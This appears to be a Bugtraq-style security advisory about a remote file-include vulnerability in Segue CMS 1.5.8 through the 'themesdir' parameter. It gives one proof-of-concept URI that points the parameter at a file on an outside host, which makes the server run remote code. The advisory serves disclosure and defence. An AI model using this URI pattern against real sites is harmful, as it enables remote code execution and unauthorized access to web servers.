Segue CMS Themesdir Remote File Include Vulnerability

Bugtraq ID:	20640
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 19 2006 12:00AM
Updated:	Oct 23 2006 06:33PM
Credit:	nuffsaid is credited with the discovery of this vulnerability.
Vulnerable:	Segue CMS Segue CMS 1.5.8
Not Vulnerable:

Segue CMS Themesdir Remote File Include Vulnerability

Segue CMS is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

A successful exploit of this issue allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

Segue CMS 1.5.8 and prior versions are affected by this issue.

Segue CMS Themesdir Remote File Include Vulnerability

Attackers can exploit this issue via a web client.

The following proof-of-concept URI demonstrates this vulnerability:

http://www.example.com/[path]/themes/program/themesettings.inc.php?themesdir=http://www.example.com/file

Segue CMS Themesdir Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

Segue CMS Themesdir Remote File Include Vulnerability

References:

• Segue CMS <= 1.5.8 (themesdir) Remote File Include Vulnerability (nuffsaid)
  
• Segue CMS Sourceforge (Segue)
  
• Segue Homepage (Segue)